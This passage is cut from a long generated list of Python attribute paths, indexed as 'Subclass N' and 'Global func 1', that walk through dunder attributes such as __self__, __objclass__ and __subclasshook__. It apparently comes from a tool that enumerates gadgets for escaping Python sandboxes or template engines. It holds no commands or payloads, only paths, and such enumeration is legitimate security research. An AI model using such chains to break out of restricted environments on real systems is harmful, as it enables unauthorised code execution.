..checklookbehindgroup.__reduce_ex__.__self__", "Subclass 96: ..get_source.__subclasshook__.__self__", "Subclass 177: ..callback.__getattribute__.__self__", "Subclass 135: .._Printer__setup.__format__.__self__", "Subclass 131: ..__contains__.__init__.__self__", "Subclass 86: ..load_module.__func__.__class__", "Subclass 137: ..__set__.__ge__.__self__", "Subclass 185: ..error.__reduce_ex__.__self__", "Subclass 82: ..__exit__.__ge__.__self__", "Subclass 119: ..__iter__.__lt__.__self__", "Subclass 98: ..__init__.__getattribute__.__self__", "Subclass 110: ..seek.__eq__.__self__", "Subclass 198: ..create_module.__subclasshook__.__self__", "Subclass 96: ..exec_module.__setattr__.__self__", "Subclass 174: ..__get__.__lt__.__self__", "Subclass 192: ..__new__.__call__.__self__", "Subclass 133: ..__iter__.__format__.__self__", "Subclass 140: ..__enter__.__reduce__.__self__", "Subclass 104: ..__weakref__.__objclass__.__init__", "Subclass 179: ..__class__.__reversed__", "Subclass 86: ..module_repr.__dir__.__self__", "Subclass 137: ..__set__.__repr__.__objclass__", "Subclass 94: ..__init__.__hash__.__self__", "Subclass 179: ..__class__._get_mixins_.__class__", 'Global func 1: ..__ne__.__self__.__class__', "Subclass 95: ..__setitem__.__sizeof__.__self__", "Subclass 96: ..exec_module.__class__", "Subclass 109: ..write.__call__.__self__", "Subclass 95: ..append.__delattr__.__self__", "Subclass 138: ..__next__.__setattr__.__self__", "Subclass 172: ..__subclasshook__.__self__.__get__", "Subclass 95: ..__init__.__dir__.__self__", "Subclass 84: ..create_module.__func__.__class__", "Subclass 177: ..push.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__reduce__.__self__", "Subclass 109: ..__next__", "Subclass 138: ..__init_subclass__.__self__.send", "Subclass 183: ..closegroup.__call__.__objclass__", "Subclass 177: ..enter_context.__get__.__objclass__", "Subclass 185: ..tell.__sizeof__.__self__", "Subclass 195: ..BinaryIO.flush", "Subclass 110: ..write.__init__.__self__", "Subclass 164: ..repr_set.__class__", "Subclass 104: ..get_code.__str__.__self__", "Subclass 139: ..__str__.__get__.__self__", "Subclass 186: ..__init__.__format__.__self__", "Subclass 192: ..__new__.__dir__.__self__", "Subclass 112: ..__class__.__instancecheck__.__class__", "Subclass 173: ..__get__.__getattribute__.__self__", "Subclass 138: ..__init_subclass__.__self__.close", "Subclass 138: ..__init__.__delattr__.__self__", "Subclass 96: ..__weakref__.__objclass__.load_module", "Subclass 138: ..__iter__.__repr__.__objclass__", "Subclass 195: ..BinaryIO.truncate.__class__", "Subclass 84: ..find_spec.__func__.__class__", "Subclass 95: ..__subclasshook__.__self__._recalculate", "Subclass 185: ..get.__delattr__.__self__", "Subclass 176: ..__init__.__getattribute__.__self__", "Subclass 164: ..repr_int.__init_subclass__.__self__", "Subclass 173: ..__get__.__call__.__objclass__", "Subclass 95: .._find_parent_path_names.__str__.__self__", "Subclass 93: ..is_package.__reduce__.__self__", "Subclass 137: ..__init_subclass__.__self__.__set__", "Subclass 104: ..__repr__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__str__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_data", 'Global func 1: ..__gt__.__self__.__class__', "Subclass 95: ..__weakref__.__objclass__.__repr__", "Subclass 86: ..module_repr.__repr__.__objclass__", "Subclass 94: ..__init__.__ne__.__self__", "Subclass 137: ..__init__.__repr__.__self__", "Subclass 84: ..get_source.__func__", "Subclass 198: ..__weakref__.__objclass__.module_repr", "Subclass 94: ..__init__.__gt__.__self__", "Subclass 104: ..get_data.__init__.__self__", "Subclass 98: ..find_loader.__ge__.__self__", "Subclass 98: ..find_spec.__format__.__self__", "Subclass 130: ..__class__.register", "Subclass 81: ..__repr__.__ge__.__self__", "Subclass 97: ..find_spec.__func__", "Subclass 110: ..readlines.__getattribute__.__self__", "Subclass 137: ..__set__.__hash__.__self__", 'Global func 1: ..__lt__.__self__.__class__', "Subclass 109: ..__subclasshook__.__self__.__enter__", "Subclass 80: ..has_deadlock.__getattribute__.__self__", "Subclass 83: ..__init__.__le__.__self__", "Subclass 186: ..__init__.__call__.__self__", "Subclass 80: ..acquire.__ge__.__self__", "Subclass 114: ..__hash__.__init__.__self__", "Subclass 110: ..seek.__lt__.__self__", "Subclass 80: ..__init__.__repr__.__objclass__", "Subclass 104: ..__init__.__repr__.__objclass__", "Subclass 185: ..__init__.__new__.__self__", "Subclass 177: ..__init__.__reduce_ex__.__self__", "Subclass 183: ..opengroup.__init__.__self__", "Subclass 95: .._recalculate.__reduce__.__self__", "Subclass 107: ..reset.__init__.__self__", "Subclass 104: ..get_data.__init_subclass__.__self__", "Subclass 109: ..readlines.__ne__.__self__", "Subclass 117: ..__aiter__.__hash__.__self__", "Subclass 95: ..append.__gt__.__self__", "Subclass 177: ..callback.__get__.__self__", "Subclass 183: ..__init__.__call__.__self__", "Subclass 179: ..__class__.__contains__", "Subclass 164: ..repr_tuple.__gt__.__self__", "Subclass 133: ..__enter__.__sizeof__.__self__", "Subclass 138: ..throw.__get__.__objclass__", "Subclass 94: ..get_resource_reader.__dir__.__self__", "Subclass 199: ..is_resource.__subclasshook__.__self__", "Subclass 98: .._fill_cache.__call__.__self__", "Subclass 94: ..get_data", "Subclass 134: ..__repr__.__le__.__self__", "Subclass 94: ..get_resource_reader.__format__.__self__", "Subclass 138: ..__next__.__getattribute__.__self__", "Subclass 138: ..__init__.__init_subclass__.__self__", "Subclass 80: ..acquire.__class__", "Subclass 134: ..__init_subclass__.__self__.__init__", "Subclass 94: ..__init_subclass__.__self__.get_resource_reader", "Subclass 130: ..__class__.__subclasscheck__.__class__", "Subclass 133: ..__init__.__class__", "Subclass 195: ..IO.seek", "Subclass 134: ..__init_subclass__.__self__.__call__", "Subclass 140: ..__exit__.__subclasshook__.__self__", "Subclass 109: ..__weakref__.__objclass__.__next__", "Subclass 164: ..repr_frozenset.__hash__.__self__", "Subclass 164: ..repr_dict.__eq__.__self__", "Subclass 138: ..__next__.__call__.__objclass__", "Subclass 185: ..tell.__gt__.__self__", "Subclass 98: ..__init__.__str__.__self__", "Subclass 107: ..encode.__reduce_ex__.__self__", "Subclass 109: ..__enter__.__get__.__self__", "Subclass 94: ..__hash__.__get__.__self__", "Subclass 132: ..__class_getitem__.__func__.__reduce__", "Subclass 177: ..__init__.__repr__.__self__", "Subclass 188: ..__deepcopy__.__str__.__self__", "Subclass 198: ..load_module.__delattr__.__self__", "Subclass 172: ..__repr__", "Subclass 95: .._get_parent_path.__setattr__.__self__", "Subclass 138: ..__await__.__get__.__objclass__", "Subclass 131: ..__contains__.__le__.__self__", "Subclass 186: ..__init__.__setattr__.__self__", "Subclass 137: ..__weakref__.__objclass__.setter", "Subclass 199: ..__class__.__new__", "Subclass 108: ..reset.__gt__.__self__", "Subclass 109: ..__iter__.__sizeof__.__self__", "Subclass 104: ..is_package.__init_subclass__.__self__", "Subclass 80: ..acquire.__str__.__self__", "Subclass 109: ..__next__.__str__.__self__", "Subclass 186: ..__subclasshook__.__self__.__init__", "Subclass 95: ..append.__lt__.__self__", "Subclass 107: ..encode.__eq__.__self__", "Subclass 185: ..error.__new__.__self__", "Subclass 132: ..__call__.__call__.__self__", "Subclass 107: ..setstate.__lt__.__self__", "Subclass 185: ..getuntil.__eq__.__self__", "Subclass 131: ..__contains__.__hash__.__self__", "Subclass 133: ..__getattr__.__eq__.__self__", "Subclass 107: ..setstate.__reduce_ex__.__self__", "Subclass 134: ..__call__.__subclasshook__.__self__", "Subclass 83: ..__subclasshook__.__self__.__init__", "Subclass 82: ..__exit__.__repr__.__self__", "Subclass 137: ..__delete__.__setattr__.__self__", "Subclass 188: ..__deepcopy__.__lt__.__self__", "Subclass 138: ..__init__", "Subclass 196: ..Pattern.__setattr__.__func__", "Subclass 94: ..is_resource.__ge__.__self__", "Subclass 185: ..__init__.__reduce__.__self__", "Subclass 80: ..release.__init__.__self__", "Subclass 164: ..__init__.__le__.__self__", "Subclass 177: ..callback.__class__", "Subclass 95: ..__iter__.__hash__.__self__", "Subclass 98: ..invalidate_caches", "Subclass 105: ..__init__.__get__.__objclass__", "Subclass 107: ..encode.__init__.__self__", 'Global func 1: ..__ge__.__self__.__class__', "Subclass 108: ..decode.__hash__.__self__", "Subclass 138: ..__await__.__init__.__self__", "Subclass 174: ..__set_name__.__le__.__self__", "Subclass 185: ..tell.__lt__.__self__", "Subclass 164: ..repr_str.__call__.__self__", "Subclass 93: ..is_package.__subclasshook__.__self__", "Subclass 96: ..get_code.__le__.__self__", "Subclass 95: .._recalculate.__str__.__self__", "Subclass 108: ..getstate.__init_subclass__.__self__", "Subclass 175: ..__call__.__subclasshook__.__self__", "Subclass 81: ..release.__repr__.__objclass__", "Subclass 110: ..__weakref__.__objclass__.reset", "Subclass 109: ..readlines.__new__.__self__", "Subclass 108: ..reset.__le__.__self__", "Subclass 94: ..is_resource.__eq__.__self__", "Subclass 108: ..setstate.__call__.__objclass__", "Subclass 105: ..contents.__ne__.__self__", "Subclass 95: ..__init__.__delattr__.__self__", "Subclass 109: ..readline.__setattr__.__self__", "Subclass 185: ..error", "Subclass 184: ..__len__.__gt__.__self__", "Subclass 110: ..write.__init_subclass__.__self__", "Subclass 138: ..send.__delattr__.__self__", "Subclass 198: ..module_repr.__reduce_ex__.__self__", "Subclass 177: .._push_exit_callback.__repr__.__objclass__", "Subclass 112: ..__class__._abc_registry_clear", "Subclass 80: ..__init__.__hash__.__self__", "Subclass 164: ..repr_tuple.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__get__.__self__", "Subclass 107: ..getstate.__get__.__self__", "Subclass 104: ..get_data.__class__", "Subclass 109: ..read.__reduce__.__self__", "Subclass 95: .._recalculate.__getattribute__.__self__", "Subclass 93: ..is_package.__repr__.__objclass__", "Subclass 133: ..close.__hash__.__self__", "Subclass 119: ..__subclasshook__.__self__.__iter__", "Subclass 80: ..has_deadlock.__dir__.__self__", "Subclass 137: ..getter.__ne__.__self__", "Subclass 172: ..__repr__.__get__.__objclass__", "Subclass 195: ..TextIO.readable.__class__", "Subclass 133: ..__exit__.__reduce__.__self__", "Subclass 176: ..__init__.__class__", "Subclass 133: ..__init__.__hash__.__self__", "Subclass 185: ..__subclasshook__.__self__.seek", "Subclass 184: ..getwidth.__get__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_resource_reader", "Subclass 95: ..__weakref__.__objclass__.__len__", "Subclass 83: ..__repr__.__new__.__self__", "Subclass 96: ..get_source.__ne__.__self__", "Subclass 174: ..__init__.__reduce_ex__.__self__", "Subclass 133: ..__exit__.__call__.__self__", "Subclass 109: ..read.__ne__.__self__", "Subclass 185: ..__init__.__eq__.__self__", "Subclass 83: ..__repr__.__ge__.__self__", "Subclass 104: ..get_data.__format__.__self__", "Subclass 104: ..get_resource_reader.__getattribute__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_set", "Subclass 97: .._legacy_get_spec.__func__.__class__", "Subclass 95: ..__setitem__", "Subclass 94: ..resource_path.__lt__.__self__", "Subclass 183: ..closegroup", "Subclass 199: ..contents.__str__.__self__", "Subclass 109: ..readlines.__call__.__objclass__", "Subclass 110: ..__subclasshook__.__self__.readlines", "Subclass 177: .._push_exit_callback.__get__.__objclass__", "Subclass 97: .._path_importer_cache.__func__", "Subclass 95: ..__getitem__.__repr__.__objclass__", "Subclass 183: ..checkgroup.__init__.__self__", "Subclass 94: ..resource_path.__call__.__self__", "Subclass 104: ..is_package.__setattr__.__self__", "Subclass 109: ..__init__.__call__.__self__", "Subclass 87: ..__exit__.__setattr__.__self__", "Subclass 188: ..__copy__.__str__.__self__", "Subclass 104: ..get_code.__ne__.__self__", "Subclass 98: ..invalidate_caches.__reduce_ex__.__self__", "Subclass 93: ..is_package.__init__.__self__", "Subclass 177: ..pop_all.__repr__.__self__", "Subclass 80: ..__repr__.__dir__.__self__", "Subclass 185: ..seek.__repr__.__self__", "Subclass 95: ..__weakref__.__objclass__.append", "Subclass 104: ..__repr__.__ge__.__self__", "Subclass 137: ..__get__.__reduce__.__self__", "Subclass 107: ..__init_subclass__.__self__.encode", "Subclass 164: ..repr_frozenset.__call__.__self__", "Subclass 109: ..reset.__get__.__objclass__", "Subclass 198: ..create_module.__get__.__self__", "Subclass 138: ..__weakref__.__objclass__.__iter__", "Subclass 95: ..__len__.__hash__.__self__", "Subclass 136: ..__repr__.__get__.__objclass__", "Subclass 174: ..__get__.__hash__.__self__", "Subclass 136: ..__weakref__.__objclass__.__repr__", "Subclass 177: ..__init__.__sizeof__.__self__", "Subclass 104: ..get_resource_reader.__eq__.__self__", "Subclass 96: ..__subclasshook__.__self__.exec_module", "Subclass 175: .._recreate_cm.__hash__.__self__", "Subclass 133: ..close.__call__.__self__", "Subclass 82: ..__init__.__reduce__.__self__", "Subclass 174: ..__set_name__.__gt__.__self__", "Subclass 95: .._find_parent_path_names.__new__.__self__", "Subclass 184: ..getwidth.__delattr__.__self__", "Subclass 137: ..__weakref__.__objclass__.__get__", "Subclass 80: ..release.__sizeof__.__self__", "Subclass 109: ..__init_subclass__.__self__.__enter__", "Subclass 172: ..__repr__.__getattribute__.__self__", "Subclass 185: ..getuntil.__hash__.__self__", "Subclass 172: ..__init__", "Subclass 96: ..get_code.__subclasshook__.__self__", "Subclass 184: ..__delitem__.__gt__.__self__", "Subclass 94: ..load_module", "Subclass 184: ..getwidth.__ne__.__self__", "Subclass 80: ..acquire.__dir__.__self__", "Subclass 177: .._create_exit_wrapper.__repr__.__objclass__", "Subclass 94: ..__weakref__.__objclass__.__eq__", "Subclass 110: ..__iter__.__delattr__.__self__", "Subclass 198: ..module_repr.__ge__.__self__", "Subclass 164: ..repr_int.__get__.__self__", "Subclass 104: ..find_module.__le__.__self__", "Subclass 95: .._find_parent_path_names.__eq__.__self__", "Subclass 186: ..__init__.__str__.__self__", "Subclass 110: ..__init__.__reduce_ex__.__self__", "Subclass 81: ..__repr__", "Subclass 115: ..__class__.__new__.__class__", "Subclass 177: .._create_cb_wrapper.__format__.__self__", "Subclass 95: ..__contains__.__sizeof__.__self__", "Subclass 93: ..is_package", "Subclass 137: ..setter.__reduce__.__self__", "Subclass 172: ..__repr__.__hash__.__self__", "Subclass 108: ..setstate.__init_subclass__.__self__", "Subclass 184: ..__getitem__.__str__.__self__", "Subclass 94: ..get_data.__repr__.__objclass__", "Subclass 104: ..find_module.__dir__.__self__", "Subclass 96: ..__init__.__ge__.__self__", "Subclass 199: ..is_resource.__repr__.__objclass__", "Subclass 93: ..exec_module.__subclasshook__.__self__", "Subclass 164: ..repr1.__init_subclass__.__self__", "Subclass 117: ..__class__.__instancecheck__", "Subclass 97: ..find_spec.__func__.__class__", "Subclass 95: ..append.__get__.__objclass__", "Subclass 81: ..__repr__.__repr__.__objclass__", "Subclass 198: ..create_module.__ge__.__self__", "Subclass 81: ..release.__subclasshook__.__self__", "Subclass 108: ..__weakref__.__objclass__.getstate", "Subclass 136: ..__repr__.__init__.__self__", "Subclass 172: ..__init__.__ge__.__self__", "Subclass 115: ..__class__.__instancecheck__", "Subclass 184: ..__delitem__.__getattribute__.__self__", "Subclass 130: ..__class__.__instancecheck__.__class__", "Subclass 105: ..contents.__format__.__self__", "Subclass 140: ..__repr__.__ge__.__self__", "Subclass 185: ..__init__.__str__.__self__", "Subclass 98: ..__weakref__.__objclass__._get_spec", "Subclass 133: ..__iter__.__reduce_ex__.__self__", "Subclass 108: ..reset.__format__.__self__", "Subclass 134: ..__subclasshook__.__self__.__repr__", "Subclass 108: ..decode", "Subclass 80: ..acquire.__get__.__objclass__", "Subclass 164: ..repr_deque.__dir__.__self__", "Subclass 96: ..is_package.__dir__.__self__", "Subclass 95: ..__repr__.__repr__.__objclass__", "Subclass 110: ..__init__.__subclasshook__.__self__", "Subclass 137: ..setter.__repr__.__self__", "Subclass 80: ..release.__hash__.__self__", "Subclass 107: ..setstate.__format__.__self__", "Subclass 119: ..__class__.__subclasscheck__.__class__", "Subclass 174: ..__weakref__.__objclass__.__init__", "Subclass 185: ..__subclasshook__.__self__.getwhile", "Subclass 196: ..Match.__setattr__.__func__", "Subclass 96: ..is_package.__repr__.__self__", "Subclass 80: ..__repr__.__repr__.__objclass__", "Subclass 104: ..__init__.__hash__.__self__", "Subclass 106: ..decode.__le__.__self__", "Subclass 192: ..__new__.__call__.__objclass__", "Subclass 164: ..repr_array.__dir__.__self__", 'Global func 1: ..__class__.__new__.__self__', "Subclass 82: ..__init__.__init__.__self__", "Subclass 110: ..write.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__call__.__objclass__", "Subclass 97: .._get_spec.__func__.__class__", "Subclass 93: ..exec_module.__reduce__.__self__", "Subclass 107: ..encode.__get__.__self__", "Subclass 93: ..is_package.__delattr__.__self__", "Subclass 109: ..readline.__getattribute__.__self__", "Subclass 107: ..getstate.__hash__.__self__", "Subclass 164: ..__init__.__gt__.__self__", "Subclass 95: ..__init__.__call__.__self__", "Subclass 195: ..TextIO.close", "Subclass 177: ..enter_context.__gt__.__self__", "Subclass 94: ..__init__.__call__.__objclass__", "Subclass 179: ..__class__.__getitem__.__class__", "Subclass 164: ..repr_instance.__class__", "Subclass 106: ..decode.__init_subclass__.__self__", "Subclass 96: ..exec_module.__format__.__self__", "Subclass 87: ..__exit__.__get__.__self__", "Subclass 105: ..contents.__delattr__.__self__", "Subclass 186: ..__init_subclass__.__self__.scan", "Subclass 109: ..__getattr__.__class__", "Subclass 107: ..encode.__call__.__self__", "Subclass 93: ..create_module.__repr__.__self__", "Subclass 140: ..__exit__.__lt__.__self__", "Subclass 164: ..repr_deque.__call__.__objclass__", "Subclass 105: ..contents.__call__.__self__", "Subclass 172: ..__init__.__gt__.__self__", "Subclass 104: ..get_source.__new__.__self__", "Subclass 131: ..__contains__.__dir__.__self__", "Subclass 96: ..get_source.__format__.__self__", "Subclass 137: ..__init_subclass__.__self__.__init__", "Subclass 110: ..writelines.__get__.__objclass__", "Subclass 104: ..is_package", "Subclass 80: ..release.__format__.__self__", "Subclass 109: ..readlines.__get__.__self__", "Subclass 107: ..__init__.__call__.__objclass__", 'Global func 1: ..__init_subclass__.__self__', "Subclass 196: ..Match.__instancecheck__.__func__", "Subclass 81: ..__init__.__call__.__self__", "Subclass 96: ..get_source.__class__", "Subclass 96: ..__init_subclass__.__self__.get_code", "Subclass 119: ..__iter__.__hash__.__self__", "Subclass 87: ..__exit__.__call__.__self__", "Subclass 109: ..reset.__hash__.__self__", "Subclass 94: ..resource_path.__gt__.__self__", "Subclass 140: ..__repr__.__hash__.__self__", "Subclass 137: ..__delete__.__repr__.__objclass__", "Subclass 196: ..Match.__getitem__.__func__", "Subclass 134: ..__call__.__get__.__self__", "Subclass 80: ..__repr__.__format__.__self__", "Subclass 87: ..__enter__.__call__.__self__", "Subclass 95: ..__getitem__.__format__.__self__", "Subclass 184: ..getwidth.__getattribute__.__self__", "Subclass 112: ..__class__.__instancecheck__", "Subclass 82: ..__init__.__repr__.__objclass__", "Subclass 188: ..__copy__.__subclasshook__.__self__", "Subclass 93: ..is_package.__new__.__self__", "Subclass 135: ..__subclasshook__.__self__.__call__", "Subclass 184: ..__delitem__.__eq__.__self__", "Subclass 115: ..__await__.__init__.__self__", "Subclass 174: ..__init__.__sizeof__.__self__", "Subclass 109: ..__subclasshook__.__self__.read", "Subclass 39: ..__repr__.__objclass__", "Subclass 164: ..repr1.__repr__.__self__", "Subclass 135: ..__init_subclass__.__self__.__repr__", "Subclass 164: ..repr.__new__.__self__", "Subclass 131: ..__subclasshook__.__self__.__contains__", "Subclass 185: ..seek.__format__.__self__", "Subclass 137: ..__delete__.__le__.__self__", "Subclass 93: ..load_module.__sizeof__.__self__", "Subclass 110: ..__init__.__get__.__self__", "Subclass 138: ..__await__.__get__.__self__", "Subclass 138: ..close.__get__.__objclass__", "Subclass 114: ..__init_subclass__.__self__.__hash__", "Subclass 105: ..resource_path.__ge__.__self__", "Subclass 109: ..__iter__.__get__.__objclass__", "Subclass 110: ..reset", "Subclass 186: ..__init__.__hash__.__self__", "Subclass 110: ..__weakref__.__objclass__.readlines", "Subclass 109: ..__next__.__repr__.__objclass__", "Subclass 119: ..__iter__.__format__.__self__", "Subclass 164: ..repr_instance.__format__.__self__", "Subclass 94: ..open_resource.__get__.__self__", "Subclass 196: ..Match.__class__.__init__", "Subclass 108: ..decode.__get__.__objclass__", "Subclass 114: ..__class__.__new__", "Subclass 184: ..__delitem__.__init__.__self__", "Subclass 104: ..get_resource_reader.__ge__.__self__", "Subclass 177: ..__init__.__str__.__self__", "Subclass 195: ..TextIO.__exit__.__class__", "Subclass 84: ..is_package.__func__.__class__", "Subclass 198: ..create_module.__le__.__self__", "Subclass 138: ..__next__.__repr__.__objclass__", "Subclass 173: ..register.__eq__.__self__", "Subclass 104: ..get_code.__format__.__self__", "Subclass 196: ..Match.__class__.__getattr__", "Subclass 185: ..error.__setattr__.__self__", "Subclass 177: .._push_cm_exit.__getattribute__.__self__", "Subclass 164: ..repr_int.__reduce_ex__.__self__", "Subclass 104: ..get_source.__le__.__self__", "Subclass 94: ..__weakref__.__objclass__.__hash__", "Subclass 173: ..__init__.__delattr__.__self__", "Subclass 95: ..__iter__.__eq__.__self__", "Subclass 84: ..module_repr.__class__", "Subclass 179: ..__class__.__reversed__.__class__", "Subclass 184: ..__repr__.__lt__.__self__", "Subclass 183: ..__init_subclass__.__self__.__init__", "Subclass 98: ..__init_subclass__.__self__._fill_cache", "Subclass 110: ..__exit__.__get__.__self__", "Subclass 140: ..__enter__.__eq__.__self__", "Subclass 198: ..load_module.__init_subclass__.__self__", "Subclass 93: ..create_module.__reduce_ex__.__self__", "Subclass 95: ..append.__hash__.__self__", "Subclass 164: ..repr_deque.__new__.__self__", "Subclass 98: .._fill_cache.__gt__.__self__", "Subclass 86: ..is_package.__self__.module_repr", "Subclass 96: ..get_source.__hash__.__self__", "Subclass 195: ..TextIO.seekable.__class__", "Subclass 80: ..__init__.__class__", "Subclass 186: ..scan.__eq__.__self__", "Subclass 110: ..seek.__init_subclass__.__self__", "Subclass 105: ..open_resource.__format__.__self__", "Subclass 195: ..TextIO.truncate.__class__", "Subclass 117: ..__aiter__.__delattr__.__self__", 'Global func 1: .', "Subclass 95: ..__repr__.__format__.__self__", "Subclass 183: ..__init__.__subclasshook__.__self__", "Subclass 199: ..resource_path.__eq__.__self__", "Subclass 179: ..__class__.__repr__.__class__", "Subclass 95: ..__getitem__.__reduce__.__self__", "Subclass 173: ..__get__.__repr__.__self__", "Subclass 138: ..close.__setattr__.__self__", "Subclass 104: ..get_data.__dir__.__self__", "Subclass 175: .._recreate_cm.__repr__.__objclass__", "Subclass 105: ..open_resource.__new__.__self__", "Subclass 108: ..__init__.__le__.__self__", "Subclass 136: ..__call__", "Subclass 104: ..get_data", "Subclass 133: ..close.__class__", "Subclass 94: ..__init__.__le__.__self__", "Subclass 135: ..__init__.__subclasshook__.__self__", "Subclass 96: ..create_module.__hash__.__self__", "Subclass 96: ..get_code.__repr__.__self__", "Subclass 98: ..__init__.__class__", "Subclass 110: ..write.__delattr__.__self__", "Subclass 137: ..__set__.__init_subclass__.__self__", "Subclass 109: ..seek.__eq__.__self__", "Subclass 176: ..__init__.__hash__.__self__", "Subclass 195: ..TextIO.fileno", "Subclass 137: ..__set__.__call__.__objclass__", "Subclass 185: ..getwhile.__call__.__objclass__", "Subclass 138: ..close", "Subclass 108: ..getstate.__subclasshook__.__self__", "Subclass 94: ..get_resource_reader.__setattr__.__self__", "Subclass 94: ..is_resource.__call__.__self__", "Subclass 138: ..__await__", "Subclass 39: ..__call__.__objclass__", "Subclass 134: ..__init__.__init_subclass__.__self__", "Subclass 198: ..create_module.__hash__.__self__", "Subclass 137: ..__delete__.__new__.__self__", "Subclass 185: ..getuntil.__class__", "Subclass 94: ..open_resource.__init__.__self__", "Subclass 185: ..getuntil", "Subclass 199: ..__class__._dump_registry", "Subclass 184: ..__init_subclass__.__self__.__getitem__", "Subclass 80: ..__init__.__get__.__objclass__", "Subclass 108: ..__init__.__class__", "Subclass 81: ..release.__delattr__.__self__", "Subclass 105: ..is_resource.__repr__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.get_code", "Subclass 133: ..__getattr__.__ge__.__self__", "Subclass 109: ..__getattr__.__delattr__.__self__", "Subclass 84: ..module_repr.__ge__.__self__", "Subclass 114: ..__hash__.__init_subclass__.__self__", "Subclass 93: ..create_module.__init__.__self__", "Subclass 133: ..__init__.__repr__.__objclass__", "Subclass 184: ..__len__.__format__.__self__", "Subclass 177: .._create_cb_wrapper.__call__.__objclass__", "Subclass 105: ..open_resource.__gt__.__self__", "Subclass 132: ..__call__.__get__.__self__", "Subclass 104: ..find_loader.__hash__.__self__", "Subclass 109: ..readline.__class__", "Subclass 185: .._Tokenizer__next.__init__.__self__", "Subclass 98: ..invalidate_caches.__call__.__self__", "Subclass 105: ..__init__.__str__.__self__", "Subclass 114: ..__hash__.__class__", "Subclass 137: ..__get__.__init__.__self__", "Subclass 164: ..repr.__repr__.__objclass__", "Subclass 185: ..getwhile.__ge__.__self__", "Subclass 109: ..__getattr__.__get__.__self__", "Subclass 177: ..push.__get__.__objclass__", "Subclass 96: ..get_code.__str__.__self__", "Subclass 81: ..release.__str__.__self__", "Subclass 173: ..register.__call__.__self__", "Subclass 109: ..__iter__.__le__.__self__", "Subclass 135: ..__weakref__.__objclass__._Printer__setup", "Subclass 199: ..contents.__init__.__self__", "Subclass 193: ..__class__.__new__.__class__", "Subclass 109: ..writelines.__getattribute__.__self__", "Subclass 195: ..IO.__enter__.__class__", "Subclass 140: ..__init__.__repr__.__objclass__", "Subclass 164: ..__init__.__ne__.__self__", "Subclass 164: ..repr.__hash__.__self__", "Subclass 130: ..__len__.__new__.__self__", "Subclass 198: ..__subclasshook__.__self__.create_module", "Subclass 175: ..__weakref__.__objclass__.__call__", "Subclass 110: ..__next__.__repr__.__objclass__", "Subclass 97: ..find_distributions.__func__", "Subclass 133: ..__init__.__sizeof__.__self__", "Subclass 109: ..read.__setattr__.__self__", "Subclass 164: ..__init__.__reduce__.__self__", "Subclass 95: ..__len__.__call__.__objclass__", "Subclass 135: ..__subclasshook__.__self__.__init__", "Subclass 108: ..reset.__getattribute__.__self__", "Subclass 109: ..__init__.__eq__.__self__", "Subclass 192: ..__new__", "Subclass 98: ..find_spec.__init__.__self__", "Subclass 104: ..__repr__.__setattr__.__self__", "Subclass 138: ..__weakref__.__objclass__.send", "Subclass 133: ..__exit__.__reduce_ex__.__self__", "Subclass 185: ..tell.__le__.__self__", "Subclass 95: ..__repr__.__class__", "Subclass 183: ..checklookbehindgroup.__delattr__.__self__", "Subclass 82: ..__exit__.__hash__.__self__", "Subclass 95: ..__len__.__get__.__self__", "Subclass 138: ..__init__.__get__.__self__", "Subclass 176: ..__init__", "Subclass 109: ..write.__get__.__self__", "Subclass 87: ..__enter__.__ne__.__self__", "Subclass 93: ..__subclasshook__.__self__.create_module", "Subclass 164: ..repr.__get__.__self__", "Subclass 96: ..load_module.__init_subclass__.__self__", "Subclass 173: ..__get__.__lt__.__self__", "Subclass 184: ..append.__call__.__self__", "Subclass 164: ..repr_int.__call__.__self__", "Subclass 184: ..__delitem__.__hash__.__self__", "Subclass 94: ..__eq__.__le__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_instance", "Subclass 185: ..match.__lt__.__self__", "Subclass 195: ..BinaryIO.__exit__", "Subclass 176: ..__init__.__gt__.__self__", "Subclass 184: ..__getitem__", "Subclass 117: ..__init_subclass__.__self__.__aiter__", "Subclass 108: ..reset.__subclasshook__.__self__", "Subclass 199: ..open_resource.__repr__.__self__", "Subclass 110: ..__init__.__format__.__self__", "Subclass 185: ..error.__eq__.__self__", "Subclass 164: ..repr_int.__sizeof__.__self__", "Subclass 95: .._find_parent_path_names.__repr__.__objclass__", "Subclass 183: ..__init__.__ge__.__self__", "Subclass 104: ..get_code.__lt__.__self__", "Subclass 133: ..__exit__.__dir__.__self__", "Subclass 138: ..throw.__ge__.__self__", "Subclass 184: ..insert.__dir__.__self__", "Subclass 177: ..enter_context.__get__.__self__", "Subclass 199: ..contents.__new__.__self__", "Subclass 177: ..callback.__init_subclass__.__self__", "Subclass 139: ..__str__", "Subclass 112: ..__class__.__new__.__class__", "Subclass 93: ..create_module.__get__.__objclass__", "Subclass 183: ..opengroup.__getattribute__.__self__", "Subclass 184: ..__weakref__.__objclass__.__delitem__", "Subclass 137: ..__subclasshook__.__self__.__set__", "Subclass 96: ..__init__.__get__.__self__", "Subclass 185: .._Tokenizer__next.__lt__.__self__", "Subclass 195: ..BinaryIO.tell", "Subclass 95: .._recalculate.__subclasshook__.__self__", "Subclass 173: ..__init__.__reduce__.__self__", "Subclass 196: ..Pattern.__subclasscheck__.__func__", "Subclass 135: ..__repr__.__dir__.__self__", "Subclass 95: ..__iter__.__get__.__self__", "Subclass 185: ..tell.__get__.__self__", "Subclass 115: ..__class__._dump_registry.__class__", "Subclass 117: ..__class__.__new__.__class__", "Subclass 198: ..module_repr.__repr__.__self__", "Subclass 174: ..__get__.__get__.__objclass__", "Subclass 94: ..is_resource.__delattr__.__self__", "Subclass 140: ..__init__.__get__.__objclass__", "Subclass 132: ..__call__.__reduce_ex__.__self__", "Subclass 192: ..__new__.__hash__.__self__", "Subclass 185: ..tell.__get__.__objclass__", "Subclass 177: ..__subclasshook__.__self__._create_cb_wrapper", "Subclass 185: ..getwhile.__sizeof__.__self__", "Subclass 96: ..load_module.__format__.__self__", "Subclass 172: ..__class_getitem__.__self__.__init__", "Subclass 104: ..get_filename.__sizeof__.__self__", "Subclass 109: ..write.__reduce_ex__.__self__", "Subclass 110: ..write.__ge__.__self__", "Subclass 80: ..acquire.__ne__.__self__", "Subclass 93: 